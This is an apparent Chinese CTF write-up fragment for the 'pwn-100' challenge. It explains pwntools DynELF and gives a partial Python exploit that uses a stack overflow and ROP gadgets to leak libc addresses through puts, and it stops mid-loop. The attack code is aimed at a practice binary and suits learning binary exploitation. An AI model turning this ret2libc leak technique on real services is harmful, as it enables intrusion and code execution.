Dynelf工具可以根据泄露出的地址找到相应libc版本的其他函数地址,但缺点时不能查找字符串也就是"/bin/sh"的地址,所以找到system函数后,往往还需要找到一个可写的地方用read函数读取"/bin/sh"
pwn-100
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
contentt = 1
#elf
elf=ELF("pwn-100")
puts_plt=elf.plt['puts']
read_got=elf.got['read']
main_addr=0x400550#0x4006b8
pop_rdi=0x400763
ret_addr=0x4004e1
binsh_addr=0x601040
#csu
pop6_addr=0x40075A
mov3_addr=0x400740
offset=0x48
def leak(addr):
up=b''
content=b''
payload=b'a'*(0x40+8)+p64(pop_rdi)+p64(addr)+p64(puts_plt)+p64(main_addr)
payload=payload.ljust(200,b'b')
io.send(payload)
io.recvuntil("bye~\n")
while True:
chr=io.recv(numb=1,timeout=0.1)
if up == b'\n' and chr == b"":
content=content[:-1]+b'\x00'
break
else: